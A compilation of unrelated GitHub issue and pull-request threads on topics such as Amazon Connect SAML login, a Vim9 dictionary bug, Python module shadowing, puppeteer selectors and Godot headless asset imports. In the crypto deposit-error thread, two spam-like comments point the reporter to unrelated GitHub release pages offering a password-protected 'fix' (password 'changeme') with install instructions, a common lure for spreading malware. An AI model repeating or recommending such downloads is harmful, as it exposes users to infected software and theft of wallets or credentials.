Initialize CCP using a token, skip login?

Is there a way to log users into the CCP using a token (or other info) directly?
The problem is that our webapp needs to include the CCP but also needs to access other AWS APIs for which separate authentication is required. We have SAML SSO set up to authenticate users with AWS generally (via Cognito) which grants access those APIs.
Our backend is capable of calling getFederationToken on the user's behalf, but there is no way to use that to initialize the CCP. Asking the user to login to the app and ccp separately is (being a master of understatement) less than ideal. I'm looking for a way to use a token to start the CCP without requiring a second, separate login flow.
This comment on another issue makes it sound like might this is possible.

It's possible to programmatically sign in and initialize the Streams library with that authentication context (via SAML / SSO which I linked above and has fully launched at this point)...

But it doesn't go into detail. Can someone elaborate on how it would be accomplished, or if it's even possible at all?

Related Github Issue, but the loginUrl parameter does not address this problem.

Hi crrice,
You cannot use that token (or aws credentials) to authenticate with Amazon Connect. Amazon Connect does support SAML/SSO authentication, so if you can find a way set this up in your instance as described in the doc you should be able to avoid that second login screen.
Please let me know if this helps!

Closing this issue, please let me know if you have any additional questions.

Hey @blee-amzn  since you mentioned by using SSO we can avoid login page. We have been doing same. By using third party saml provider we had been able to authenticate our user which solves the problem of amazon connect default login page.
After authenticating from the SAML provider, we get an authentication token plus a sign in link, when we click on that link we are redirected to connect-ccp which opens for some time untill we close it down via some javascript code.
Now we dont want to use that sign in link provided by the SAML provider but we want to use the token provided to authenticate from the streams library without opening CCP.
Is there possible undocumented way by twitching code a little? We couldn't find a way out yet.
Thanks.

Hey @faizaanshah, please see this issue for discussion on this topic. In short, it may be possible by embedding the SAML login url but there are also security risks associated with doing so.


Add NetworkAttachmentConfig to TaskSpec

With this change NetworkAttachmentConfig moves to TaskSpec. We will
continue to support setting the NetworkAttachmentConfig in ServiceSpec
in addition to supporting it in TaskSpec.
Also added Attachable flag to NetworkCreateRequest and
NetworkResource types.
Signed-off-by: Jana Radhakrishnan<EMAIL_ADDRESS>

LGTM

LGTM


rocm: fix miopen convolutions

This adds a layout argument to better match the cudnn counterpart.
Also update a test.

@masahi if you wanted to look at it...


[QUESTION] Demo Scene Missing Healthbar.HealthChanged

State your question below
In the demo scene. HealthListener is missing HealthBar.HealthChanged
However, when I "fix" it, I am now required to give a static value. And the health bar no longer works.
How is it setup to feed the HealthBar.HealthChanged a dynamic variable?
Add any additional information / background
Screen shot of the missing state https://snipboard.io/LWk0KG.jpg
Also the health bar needs to be assigned an source image, as its also missing

Definitely related to #63. What version of Unity are you rinning?

What version of Unity are you running?

from the screenshot its 2019.3.0 beta 7

Closing. Fixed on Unity's side.


[BUG] Python Script Deposit Failed with Error An error occurred: The field extraData is 280 bytes, but should be 32

Error on BNB chain Deposit
(.venv) taariqlewis@playadenbossa~/Projects/VolumeFi_Projects/w3tools/depositor: python deposit_funds.py paloma149hq4n6kfwayyc0epmxcn6u7xqk35wlqq3paqgaslzd9x7wur0ts69wmdc 0.01 bsc
Depositing funds...
Paloma Address:  paloma149hq4n6kfwayyc0epmxcn6u7xqk35wlqq3paqgaslzd9x7wur0ts69wmdc
Amount:  0.01
Chain name:  BSC
RPC URL:  https://bsc-dataseed1.binance.org/
Keystore Path:  /Users/taariqlewis/Projects/VolumeFi_Projects/w3tools/depositor/pool_testing.json
Compass Address:  0x042Ab4cd2897BA02a420146af8d95f161A4230F1
Paloma Bytes32:  a96e0acf564bba4261f90ecd89eb9e302d1a3be00443d023b0f89a5379dc1bd7
Password:
Whoops! An error occurred: The field extraData is 280 bytes, but should be 32. It is quite likely that you are connected to a POA chain. Refer to http://web3py.readthedocs.io/en/stable/middleware.html#proof-of-authority for more details. The full extraData is: HexBytes('0xd88301040a846765746888676f312e32322e32856c696e757800000048fa7b05f8b5831fffffb860860dc08753fd1b419e3c0b82791de722b9e016bb303775e6220ccc644ff11a09e6ab410b2b191341fde883368271476c0f04f1d2fb83306fcd2c0fbb9a1612d6522e119aaf582e022413285e56a6c535961de8d17b1069f9cb894e4576be3632f84c84027d4271a072eff2d7d592646fe0981941295de086be821223de45cd8a7d0af598dddb695384027d4272a019d16d50b9a9cda0bc38e2fb24f0d591479a67b8b934707caadf84f7b167c888800073bacbc485f4b976ffc259dd19d0ebc75f96cf69cef2d0d5a45bceee11c85118ad6db9454ce2faee9b0a94bcf63a9f74b15c845f30da01a389bbcf827e7e5a01')
Error on MATIC Chain Deposit
(.venv) taariqlewis@playadenbossa~/Projects/VolumeFi_Projects/w3tools/depositor: python deposit_funds.py paloma149hq4n6kfwayyc0epmxcn6u7xqk35wlqq3paqgaslzd9x7wur0ts69wmdc 5 matic
Depositing funds...
Paloma Address:  paloma149hq4n6kfwayyc0epmxcn6u7xqk35wlqq3paqgaslzd9x7wur0ts69wmdc
Amount:  5
Chain name:  POLYGON
RPC URL:  https://polygon-rpc.com/
Keystore Path:  /Users/taariqlewis/Projects/VolumeFi_Projects/w3tools/depositor/pool_testing.json
Compass Address:  0x26f5Da70095d69103ba8b2Ee264A20cD4B590EAb
Paloma Bytes32:  a96e0acf564bba4261f90ecd89eb9e302d1a3be00443d023b0f89a5379dc1bd7
Password:
Whoops! An error occurred: The field extraData is 100 bytes, but should be 32. It is quite likely that you are connected to a POA chain. Refer to http://web3py.readthedocs.io/en/stable/middleware.html#proof-of-authority for more details. The full extraData is: HexBytes('0xd78301030783626f7288676f312e32322e35856c696e75780000000000000000c280c013482fe259e4ac18060adc27ba8c0deb9f8b36bc9caf22dd41fe126f2eb8ab294bfee20e139549a6d1ca371dfafcde3894b7a00216cfd67f8d8fe5dea6c94f1200')

to fix your trouble check this fix, i see it in another issue,
https://github.com/aravinda-gamage/x86_64-win64-ranlib/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

https://github.com/VolumeFi/w3tools/pull/3
This is solved with this PR.
@taariq


Adding video to background of home page. (research best practice for loading speed) #1

http://thenewcode.com/777/Create-Fullscreen-HTML5-Page-Background-Video  interesting

Liking it boys, great video on at the moment. works perfectly on mobile and web. just one thing, mobile photo doesn't cover the whole page. sure you noticed it too! :)

done


Continue Working On > Clone Locally when VS Code is not already installed

In the following dialog that appears:

When in insiders.vscode.dev and opening a vscode-insiders:// protocol url, the 'Install VS Code Insiders' button should route to a new link for installing insiders specifically rather than just https://aka.ms/vscode-install
Clicking Install VS Code Insiders should not dismiss the dialog, so that the user can return and try again

cc @digitarald

not sure how this modal was arrived at, so I clicked the remote indicator and I only see an option to download VS Code - not insiders.

I then did the Continue working on... flow and saw this dialogue despite having already installed VS code Insider's, which opened.


Vim9: cannot extend null dictionary

Describe the bug
In Vim9 script, we cannot extend a null dictionary.
To Reproduce
Run this shell command:
vim -Nu NONE -S <(cat <<'EOF'
    vim9script
    var d: dict<any>
    extend(d, {'key': 123})
    assert_equal({'key': 123}, d)
    echo v:errors
EOF
)

v:errors contains one error:
['command line..script /proc/19712/fd/11 line 4: Expected {''key'': 123} but got {}']

Expected behavior
v:errors is empty.
Environment

Vim version: 8.2 Included patches: 1-1947
OS: Ubuntu 16.04.7 LTS
Terminal: xterm(361)

Additional context
The issue persists in a :def function:
vim9script
var d: dict<any>
def Func()
    extend(d, {'key': 123})
    echom d
enddef
Func()

{}

The issue disappears if the dictionary variable is assigned a value:
vim9script
var d: dict<any> = {}
extend(d, {'key': 123})
echom d

{'key': 123}

Describe the bug
In Vim9 script, we cannot extend a null dictionary.
To Reproduce
Run this shell command:
vim -Nu NONE -S <(cat <<'EOF'
    vim9script
    var d: dict<any>
    extend(d, {'key': 123})
    assert_equal({'key': 123}, d)
    echo v:errors
EOF
)

v:errors contains one error:
['command line..script /proc/19712/fd/11 line 4: Expected {''key'': 123} but got {}']

Expected behavior
v:errors is empty.
Environment

Vim version: 8.2 Included patches: 1-1947
OS: Ubuntu 16.04.7 LTS
Terminal: xterm(361)

Additional context
The issue persists in a :def function:
vim9script
var d: dict<any>
def Func()
    extend(d, {'key': 123})
    echom d
enddef
Func()

{}

The issue disappears if the dictionary variable is assigned a value:
vim9script
var d: dict<any> = {}
extend(d, {'key': 123})
echom d

{'key': 123}

The idea was that initializing a variable to a null dict was cheap.  But
extend() can only work on an existing (possibly empty) dictionary, not
on a null dictionary.  Thus there is no other way than to initialize the
variable to an empty dictionary.  Oh, we can do that when getting the
variable value.
--
hundred-and-one symptoms of being an internet addict:
190.
/// Bram Moolenaar --<EMAIL_ADDRESS>-- http://www.Moolenaar.net   \
///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \
\\  an exciting new programming language -- http://www.Zimbu.org        ///
\\            help me help AIDS victims -- http://ICCF-Holland.org    ///


Automatically executes script in working folder if its name "cgi"

Requests version - 2.10.0
As soon as the working folder folder contains script with name "cgi.py" (it was part of my application), your package automatically executes it. In my case - I fixed that myself by renaming my script. For another users - probability of such case is not zero. (In my case it was about 1 hour of fighting with strange behavior of my application). To reproduce it, it is possible to create 2 simple scripts, e.g.:
test.py:
import requests
print "Hello from test"
cgi.py:
print "Hello from CGI!"
Possible solutions: to reflect such behavior in documentation or to fix it.
P.S. Very nice package, it saved me much more time this lost hour!

This is not a bug: this is unfortunately the way Python works. Python puts the current working directory at the top of the import namespace, which means that when we try to import standard library modules, if you have a script in the working directory with the same name, we will accidentally get that instead.
To prevent your script from executing in these circumstances, you will want to use the `if name == 'main': pattern. That would change this error to either an ImportError or an AttributeError, which are better failure modes.
Otherwise, try to avoid naming your scripts after stdlib modules. (You'd have similar problems with, for example, naming a script 'urllib.py'.)


Update Styling

Update Styling to dark mode and replace every other row different background colors with collapsed border to flow with dark mode style. Other color suggestions welcome 😃
Before

After

We might want to do some testing for color-blindness later but these are good for now.
There's a site here: https://webaim.org/resources/contrastchecker/
It lets you check contrast between colors (for accessibility reasons). It's a good idea to observe it (I didn't check my grey/black text but we probably should check this sometime)


Properly handle GCMRegistrar errors

GCM Registration errors were being logged to the device log, but not propagated to the app via the passed in error handler.  Added handlers to populate the error callback.

closing for PR against next


Automatically load registration data (if present)

If registration directory exists, use the napari-brainreg plugin to load, it. Then use bg-space to transform it to fit the raw data, based on the information in cellfinder.json

Added in 3e041deac7fd1ea30bc455e3341beda763907f48


[babel-preset-shopify] inline environment variables opt in

Working a project where I don't want process.env to be automatically transformed into value. Due to babel-plugin-transform-inline-environment-variables, my environment variables are getting transformed to undefined.
https://github.com/Shopify/javascript/blob/master/packages/babel-preset-shopify/non-standard-features.js#L7

Reraised in the new babel-preset-shopify repo


Special character in the string, makes it invalid string.

Describe the bug
'&' or '.' in the string for the t function. Stops the i18n ally from reading this string.
Extension Version
i18n Ally
Framework/i18n package you are using
react-i18next
To Reproduce
Add a full stop or ampersand into the t function
The underline goes away
which means i18n ally extension stops working
Device Infomation

OS: mac 10.15.5
i18n-ally Version: v2.2.10
VS Code Version: 1.47.0

Extension Log
nothing in the logs
Screenshots

This behavior is expected. If you really want to use them, set the i18n-ally.regex.key to .*
https://github.com/antfu/i18n-ally/wiki/Configurations#advanced-configurations


aubuf: prevent faulty timestamps

If the application does not set the timestamps of the pushed audio frames, then during a partial read faulty timestamps had been set.

aubuf: prevent faulty timestamps for partial read
--> This seems to be a simple fix. But is wrong for a partial read if the application sets correct timestamps and the first frame has timestamp zero.

The following commits sets timestamps automatically for pushed audio frames, if not given by the application.

aubuf: set correct timestamps if app provides zero
aubuf,auframe: move auframe_bytes_to_timestamp() to auframe
aubuf: reset also written_sz in aubuf_flush()

This https://github.com/baresip/retest/pull/104 adds unit tests for partial read with automatic timestamps.

So from my side this PR is ready for merge. The new retests should check the correct behavior and this PR fixes a bug for partial reading.


Allow passing bytes as request body

This is a cleaner solution than is_byte_request, which strangely enough was defined on the session level rather than request level.
Closes #12.

thank you very much for the commit :)


Create git-tag on deploy

Do you guys think it would be useful to create tags every time you deploy?
for example, if you run
heroku deploy develop

it creates the tag deploy-develop-YYYY-MM-DD-HH-MM
or something like that then you can do diff between HEAD and the last deploy tag
I included the name of the brach as well, in this way we can track in git deployments to staging and production

No, too much tags already


show this breaking changes after the daytona update

Is your feature request related to a problem? Please describe.
Sometimes some issues may appear after updating the version, but this may be a breaking change and the user may not be aware of it. It is unrealistic to check the changelog for every update.
Describe the solution you'd like
Show the changelog URL.
If Have some breaking changes, also show it.

like this:

@quest-bot stash 100

@quest-bot embark


🚨 Need tests for loaders module

Overview
Currently the loaders module is at around 22% code coverage, which means that there are a lot of parts of the code currently untested. Tests are needed for the following functions:

[ ] #123
[ ] #124
[ ] #125
[ ] #126
[ ] #127

@madhavmk Please refer to https://github.com/uw-ssec/offshore-geodesy/pull/158 for test data for the loaders.

Closing this Issue as all sub-tasks are completed.


ROX-18155: Use generic in pg stores

Description
This PR replaces most of generated Postgres stores with generic implementation.
Checklist

[ ] Investigated and inspected CI test results
[ ] Unit test and regression tests added
[ ] Evaluated and added CHANGELOG entry if required
[ ] Determined and documented upgrade steps
[ ] Documented user facing changes (create PR based on openshift/openshift-docs and merge into rhacs-docs)

If any of these don't apply, please comment below.
Testing Performed
CI

Closing in favour of:

PR #6766
PR #6767
PR #6768
PR #6769
PR #6770
PR #6771
PR #6772
PR #6773
PR #6774
PR #6775
PR #6776
PR #6777
PR #6778


Error: No node found for selector

Hi,
I use the latest puppeteer version on Windows10.
I try to access gmail with puppeter, but  I get Error: No node found for selector

const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto('https://gmail.com');
await page.waitFor(1000);
await page.click('.OabDMe cXrdqd Y2Zypf');
/* await page.keyboard.type('email@gmail.com');
await page.click('.RveJvd.snByac');
await page.click('.AxOyFc.snByac');
await page.keyboard.type('pass');*/
await page.waitFor(1000);
await page.screenshot({path: 'newsletter.png'});
await browser.close();
})();

OabDMe cXrdqd Y2Zypf  is the classname I am targeting.
I tried different syntaxes like .OabDMe > .cXrdqd > .Y2Zypf but I keep getting the same error
Thank you for your recommandations.

Maybe await page.waitFor(1000); does not suffice. Try to use await page.waitForSelector('.OabDMe cXrdqd Y2Zypf'); instead.

Where should I place it please, can you put it in the afore mentionned code?

After replacing it I still get this error:
Navigation timeout of 30000 ms exceeded

I have another question regarding classnames:
For a class named:  DarkModeToggle__Layout-cfa1ot-0 exXfxw  , how can I point to it?

Navigation timeout of 30000 ms exceeded

Then maybe browser behavior is different in headless mode. Try to use puppeteer.launch({ headless: false}); and check the element in the console.

For a class named: DarkModeToggle__Layout-cfa1ot-0 exXfxw , how can I point to it?

You can try '[class="DarkModeToggle__Layout-cfa1ot-0 exXfxw"]'.

And maybe use '.OabDMe .cXrdqd .Y2Zypf' instead of '.OabDMe cXrdqd Y2Zypf'.

Thank you, as you excpected, headless mode was ressponsible for slowing down the process.
However, I have a concern about speed in production: will it be the same as development mode? Or it depends on the user...
And how to optimize it in both cases?

The problem may be the class names are auto generated, the next time you load the page the class names may be different. This is to prevent web crawlers. You should select the element not with the class names, but with the structures and the element types, if they have attributes you should use that too


Tooltip size not following scaling

From https://www.reddit.com/r/winamp/comments/pi03e2/too_frickin_tiny/ I though I'd give the tooltip related modifications from here a go as I wasn't sure if it'd now be matching the skin scaling options or not.
There seems to be a getScale() that can be called on a layer object (not sure about other objects) so that might be something that can be used within the tooltips script to adjust the scaling as needed. I've not dug into what's going on so I might've missed something that can do it in a cleaner way than my first thought about this.
One other thing, it might be nicer to have it accept the height being passed on the script call so it's not fixed to a size without having to recompile it (just thinking from a reusability view point :) ).
-dro

Well, it's a whole lot more complicated than I thought.
It seems that getScale() can only really work on a layout to determine what the current scaling is (which returns 1.25 if the window is set to scale to 125% and so on), the issue however is telling the tooltip script that information and I'm stuck on finding a way to do it in a clean way.
The tooltip script relies on getScriptGroup(), which makes it difficult to include anywhere else (probably the intention, heh).
I wrote a test script to determine what getScale() really returns to make things easier, once that's done I decided to include that script into the tooltip script, which breaks things.
(Note: layoutscale is a global value which is inherited from scaletest.m, which also displays 1.000 in the middle of the vis display)
This is with including the test script:

And this is without:

I'm at a bit of a loss of what's going on and how I can prevent the two scripts clashing with one another, but I feel like I'm close to the solution...

Well, I must admit defeat for now.
It seems that, even if the other script has nothing going on inside of it, the tooltip will mess up regardless and I can't get it to recognize that layoutscale changed, even though the text object I put inside of the display for debugging will update itself accordingly.
I will still keep this issue open regardless should something change about this, but for the moment I'm simply confused about what's happening any why things fail.

I've had another pair of eyes look at what I was attempting to do (aka asking @mirzi1 for help) and it's now fixed!

Can confirm the change appears to work as expected, thank you both of you 👍
-dro


Improving error messages when fetching entitites

Describe changes
I implemented a minor fix that improves the error messages when fetching entities. There is a new KeyError that allows error messages with line breaks.
Pre-requisites
Please ensure you have done the following:

[ ] I have read the CONTRIBUTING.md document.
[ ] If my change requires a change to docs, I have updated the documentation accordingly.
[ ] If I have added an integration, I have updated the integrations table and the corresponding website section.
[ ] I have added tests to cover my changes.

Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Other (add details above)

My personal opinion on this: I think code clarity (in this case using well known errors like the KeyError from the standard library in code/the API docs) is much more important than a slightly more readable error message.

@schustmi You are right.
The newly added error is still a KeyError though, so programmatically the try-except KeyErrors will still function but it is less readable now.
They are solving a very specific problem that can be critical in the user flow. At the same time, with the addition of our new filtering approach, these changes may become redundant.
Not really sure how to move forward here.


Permission not requested on Android 10 when targeting API 33

Bug Report
When writing file in this path " window.cordova.file.externalRootDirectory + 'Download' " it always throws a permission error on getFile action. The bug occur when upgrading on cordova-plugin-file V8 and cordova-android V12 and only on device with Android 10 and bellow. It does work on cordova-plugin-file V7 and cordova-android V11
Problem
The modal that request user authorisation for writing (WRITE_EXTERNAL_STORAGE) does not pop on screen witch lead to an INVALID_MODIFICATION_ERR (code 9) because the permission is not granted
What is expected to happen?
The modal that request the permission is displayed.
What does actually happen?
The modal does not appear
Information
I found out that when writing a file the following action are executed in FileUtils.java :

ResolveLocalFileSystemURI
RequestAllFileSystem
GetFile
GetFileMetaData
Write

The permission is checked on the "Write" step but on Android 10 (for reasons that I can't explain) the permission seems to be required at the GetFile steps.
I did patch this issus by editing the GetFile steps in order to always ask for permission if needed on this step but I am not sure of the concequencies of this edit : see pull request #587
Command or Code

To reproduce the problem try to save a file with "writeFile" to " window.cordova.file.externalRootDirectory + 'Download'
Environment, Platform, Device

Android 10 with cordova-plugin-file V8 and cordova-android V12
Checklist

[x] I searched for existing GitHub issues
[x] I updated all Cordova tooling to most recent version
[x] I included all the necessary information above

@alexisGandar , can you test the main branch to see if this issue still exists?
There is a PR that was merged in recently. It fixed an issue in the hasWritePermission method. I believe it might might have fixed this issue as well. If it did, this issue and the PR #587, which you submitted, could be closed.
Can you confirm?


Legacy autograd function with non-static forward method is deprecated

I get many of these errors
/build/python-pytorch/src/pytorch-1.3.1-opt-cuda/torch/csrc/autograd/python_function.cpp:620: UserWarning: Legacy autograd function with non-static forward method is deprecated and will be removed in 1.3. Please use new-style autograd function with static forward method. (Example: https://pytorch.org/docs/stable/autograd.html#torch.autograd.Function)
Likely from the LowerBound(Function) class. Luckily it still works in pytorch -1.3.1

Thanks for noting. I will take a look at this.

Simply use static forward and backward method in LowerBound function and call it with LowerBound.apply(self.beta, self.beta_bound) in forward function of GDN


When capturing via Email, only the title is captured, but the body doesn't appear in a child block

When capturing via Email, the behaviour is different between Roam vs Logseq.
In Roam:

The email is captured, by forwarding to<EMAIL_ADDRESS>As a parent block, we get the title of the email
As a child block, we get the body of the email

In Logseq:

The email is captured, by forwarding to<EMAIL_ADDRESS>As a parent block, we get the title of the email
No child block

This doesn't seem like the intended behavior (when looking at the code, is seems like there's a part that is supposed to add children blocks (line 107-108).

hey @glicksman can you confirm you're on version 0.2.3 of the phonetonote logseq client plugin?

Yep:

Amazing, thanks!!


Consistent ordering of arguments to open_atomic.

Reorders the arguments to open_atomic so the mode comes immidiately after
the file name for consistency with the open builtin.

:O BACKWARDS INCOMPAT!!!!


Bump ruby gem version

Bumping the version to include changes made in #12 and #9 to the public gem.

cc @rthbound and @mecastelom. Thank you for these contributions!


Add "What happened to the expressive theme?" to the FAQ page

The update came from the April 24th release audit.
We need to address what happened to the expressive theme, so our adopters know why the expressive theme is no longer available to them.

@JennySanchez Maybe we can close this issue and open a new one to create a page that explains to adopters what is available in expressive?

@RobertaJHahn Before we know if we need a new individual page to explain what is available in the expressive theme, I need to know what will be available first so we can see if it makes sense to present the information within an existed website page or we need to create a new individual page and which category it will be under.

@JennySanchez I'll close this issue and the work to include the Expressive theme content on the website will be managed under another issue.  As I mentioned in our Slack chat, Jeff volunteered to create an initial draft of the content.  Thanks Jenny


showyedge: Update ShowyEdge to 2.2.0

Thank you for the contribution. It was merged directly as 0a7e7913684beaba1102dc8e960b65533fbedbc0 to keep commit history cleaner. Your contribution is still credited to you.


Material DatePicker does not return the expected date...

The material DatePicker loses or does not cary forward the selected day when changing the year.  Additionally, the dialog permits the user to select okay when the UI is in an inconsistent state returning an unexpected date.
Steps to Reproduce
Launch the datepicker by calling showDatePicker with an initial date of Nov 21, 2021.
User selects the year drop down, and selects 2022.  (Note that the UI does not cary forward or loses the selected day when changing the year)
Select okay. The date returned is Nov 21, 2021.
This is unexpected and confusing, changing the year should not require the user to reselect the 21st again.  Then allowing the user to select okay and return Nov 21, 2021 is unexpected.  I'm not sure if this is a bug or by design but I would recommend if the user changes the year either cary forward the day or disable the "okay" button requiring the user to select a day.

Execute flutter run on the code sample
...
...

Expected results:
Actual results:

Code sample

import 'package:flutter/material.dart';
import 'package:intl/intl.dart';

void main() {
  runApp(const MyApp());
}

class MyApp extends StatelessWidget {
  const MyApp({Key? key}) : super(key: key);

  // This widget is the root of your application.
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Datepicker Demo',
      theme: ThemeData(
        primarySwatch: Colors.blue,
      ),
      home: const MyHomePage(title: 'Datepicker Demo'),
    );
  }
}

class MyHomePage extends StatefulWidget {
  const MyHomePage({Key? key, required this.title}) : super(key: key);

  final String title;

  @override
  State<MyHomePage> createState() => _MyHomePageState();
}

class _MyHomePageState extends State<MyHomePage> {
  DateTime? selectedDate;

  @override
  Widget build(BuildContext context) {

    final dateString = selectedDate == null ? '' : DateFormat('yyyy-MM-dd').format(selectedDate!);

    return Scaffold(
      appBar: AppBar(
        title: Text(widget.title),
      ),
      body: Center(
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
          children: <Widget>[
            Text(
              'Selected Date: $dateString',
            ),
            TextButton(
              onPressed: () async {
                var date = await showDatePicker(
                  context: context,
                  initialDate: DateTime.now(),
                  firstDate: DateTime.now().subtract(const Duration(days: 365)),
                  lastDate: DateTime.now().add(const Duration(days: 365)),
                );
                setState(() {
                  selectedDate = date;
                });
              },
              child: const Text('Select Date'),
            ),
          ],
        ),
      ),
    );
  }
}

Logs

Hi @cmeuser, this issue is being tracked in https://github.com/flutter/flutter/issues/81547.
Kindly follow up there for more information.
Closing as duplicate.
If you disagree, kindly leave a comment below and I will reopen.
Thank you


Send mouse position after focused/cursorenter events

This is a first pass at updating the mouse's position after a CursorEntered/Focused event. I ran cargo test but haven't done any manual testing.
There's a lot of copy/paste in the macos code. I'm also not sure how best to send a second event in that situation.
fixes #348

It's worth noting the machinery with the VecDeque isn't needed in the OSx backend.  You can just push_back an event into the Vec you're extending from the Iterator.  Otherwise this looks great!

Sorry I didn't make myself very clear, this is actually what I meant.
let x = (scale_factor * view_point.x as f32) as f64;
let y = (scale_factor * (view_rect.size.height - view_point.y) as f32) as f64;
let window_event = WindowEvent::CursorMoved { device_id: DEVICE_ID, position: (x, y) };

self.shared.pending_events.lock().unwrap().push_back(window_event);

No worries, thanks for clarifying!

Looks great, thanks!

Let me know if there's anything else to do!
Assuming this gets merged, what's the process for bumping the version? I'm hoping to get this merged into glutin as soon as possible so I can unblock https://github.com/servo/servo/pull/19120

Amethyst also has interest in pushing to cargo so we can start using https://github.com/tomaka/winit/pull/344

Assuming this gets merged, what's the process for bumping the version?

Just submit another PR with a version bump in the Cargo.toml and the changelog.

I take it we need some reviews from collaborators to merge this.
@vberger reviewed and merged my last input-related PR so I'll ping him for this one.

well, this looks good to me, but it touches all the backends I'm not familiar with... Did you test it on windows, macos and x11 ?

I only was able to test it on macos and x11, which worked. I don't have access to a windows machine, unfortunately.

I'll give this a shot on Windows tonight (approximately 10-11 hours from the time on this comment)

@vberger @stuartnelson3 This works on Windows.
Not related to this PR, but interestingly I don't get Device and MouseMoved events when the window isn't focused, so our existing documentation is actually a bit incorrect on that.

Is there anything to be done to move this PR forward?

All is good, sorry for the delay!


.mov video not playing

I have uploaded a video from iphone which was in .mov format and uploaded to server but when i tried to play that link in jc video player it couldn't run, even i tried to convert it to .mp4 but then also it didn't run.
Please help

do not support mov https://developer.android.com/guide/topics/media/media-formats.html


Assets imported using headless build (platform=server) are broken

Godot version:
Current Master
Server build is done with flags: platform=server -j 8 target=release_debug separate_debug_symbols=yes
OS/device including version:
Linux. Tested on both Kubuntu 16.04 and Kubuntu 17.10
Issue description:
When the headless build has to import assets, they import "broken."
This issue was noticed when exporting a game using the command line from a server build, and the resulting .pck or .zip file has broken assets. After some investigation it was discovered that this was only an issue when the assets were re-imported by the headless build. If the assets are already imported from a non-server build, then they are not rebuilt and the exported zip plays fine.
Inspecting the zip files reveals a vast size difference between asset files. The .scn files that come from .dae files are often 5-6 times larger in the export that works.
When running godot --main-pack export_broken.zip the result is that the model doesn't show, and in the console informs you that:
OpenGL ES 3.0 Renderer: GeForce GTX 1060 6GB/PCIe/SSE2
ERROR: mesh_add_surface: Condition ' !(p_format & VisualServer::ARRAY_FORMAT_VERTEX) ' is true.
   At: drivers/gles3/rasterizer_storage_gles3.cpp:2672.
ERROR: instance_set_surface_material: Index p_surface=0 out of size (instance->materials.size()=0)
   At: servers/visual/visual_server_scene.cpp:604.

Sample Project: ExportTest.zip
Export from server: export_broken.zip
Export from editor: export_working.zip
Exports were performed with:
export-server:
	rm -rf .import
	$(GODOT_SERVER) --export pck export_broken.zip

export-editor:
	rm -rf .import
	$(GODOT_EDITOR) --export pck export_working.zip

Diff between zips:
$diff -y <(unzip -l export_broken.zip) <(unzip -l export_working.zip)
Archive:  export_broken.zip                                   | Archive:  export_working.zip
  Length      Date    Time    Name                                Length      Date    Time    Name
---------  ---------- -----   ----                              ---------  ---------- -----   ----
      621  1980-00-00 00:00   Main.tscn                               621  1980-00-00 00:00   Main.tscn
     3533  1980-00-00 00:00   .import/icon.png-487276ed1e3a0c        3533  1980-00-00 00:00   .import/icon.png-487276ed1e3a0c
      649  1980-00-00 00:00   icon.png.import                         649  1980-00-00 00:00   icon.png.import
     1703  1980-00-00 00:00   .import/Monkey.dae-9595bdbecdf0 |     41935  1980-00-00 00:00   .import/Monkey.dae-9595bdbecdf0
    31836  1980-00-00 00:00   resources/Monkey.dae.import           31836  1980-00-00 00:00   resources/Monkey.dae.import
     2580  1980-00-00 00:00   resources/default_env.tres             2580  1980-00-00 00:00   resources/default_env.tres
     3498  1980-00-00 00:00   icon.png                               3498  1980-00-00 00:00   icon.png
      261  1980-00-00 00:00   project.binary                          261  1980-00-00 00:00   project.binary
---------                     -------                           ---------                     -------
    44681                     8 files                         |     84913                     8 files

Notice the ones with a vertical bar in the middle. Look at the difference in filesize.
Oh look, my time machine is acting up again.

So I've added same projects and sample broken export zips (and some more debug information).
It turns out not to be the export that's the problem, but to be the asset import. The headless build doesn't import assets correctly, so they don't export correctly. As a result, this problem only manifests itself if the .import folder needs to be generated by the headless build.

If somehow you were able to generate the .import for dae file, such as being stored in source control, you can export correctly.
Your demo only shows dae (collada) failing to import.
Png works.

Yup, it's to do with the .import folder. However, I'd rather not have this folder in source control (binary blobs).
It's to do with any resource that needs conversion on import: .dae's, .obj's, escn's, etc.

I've been trying to chase this down, and haven't had much luck. Both reading the scene from text format in scene_format_text.cpp seems to be taking place OK (node count is correct), and packing is also happening SceneState::pack(Node *p_scene) with object properties appearing to be processed correctly.
The only thing remaining is that it's something to do with sub-resources.

I'm running into this as well. Did you ever find a solution @sdfgeoff ?

Is this related to #18680?

@jfaust:
Currently I have a monitor plugged into our build server, so I run xhost+ from the graphically-logged-in-user, and then use export DISPLAY=:0 which allows the user of regular Godot. Obviously, this only works if you have a screen plugged in. I also tried various things with xvfb without success.
But all of these are workarounds. I hope to invest some development time into this in the near future.
@vnen:
This is to do with imports of 3D models and scenes. It seems that images work fine. (Although there is a compile issue on the server build I had recently that looks like it may be fixed by that PR).

Ah, we're not able to do that (we're in a virtualized environment in a cluster). I'll be beginning to look into this today then.
@vnen That ticket is about loading a (presumably correctly built) pck file in a server build. This is about importing assets (and then generating a pck file) in a server build.

I've figured out where this is coming from. The difference between the good and bad packed binary . scenes is that all the mesh surface information in the bad export have default values (including zero-sized arrays for index/vertex buffers/etc.).
This happens because the actual backing storage for those arrays is handled by RasterizerStorage, and ArrayMesh just calls VisualServer::mesh_surface_get_array et al when asked for surface properties (which pass through to RasterizerStorage). When platform=server, that's the RasterizerStorageDummy, which immediately throws away the data, and when asked for it later just returns an empty array.
Seems like I should be able to add some #ifdef TOOLS_ENABLED sections into RasterizerStorage that store off all the necessary data for later retrieval, but maybe there's a better/different way?

@fire mesh_surface_get_array is used in the import process, to then write the imported scene to disk. Since RasterizerStorage is supposed to own all the mesh surface data, retrieval of that data (to write it to disk) also goes through RasterizerStorage. This means we end up with empty arrays for index/vertex/etc. buffers.
RasterizerStorageDummy already had code for this for textures (I'm assuming that's why texture import works), which was not ifdefed, so in my patch I also do not ifdef the code.
PR created: https://github.com/godotengine/godot/pull/18798

Now they're at least both the same, but currently exports both from server and normal build are broken - they cause Godot to freeze throwing:
ERROR: get_line: Condition ' !f ' is true. returned: String()
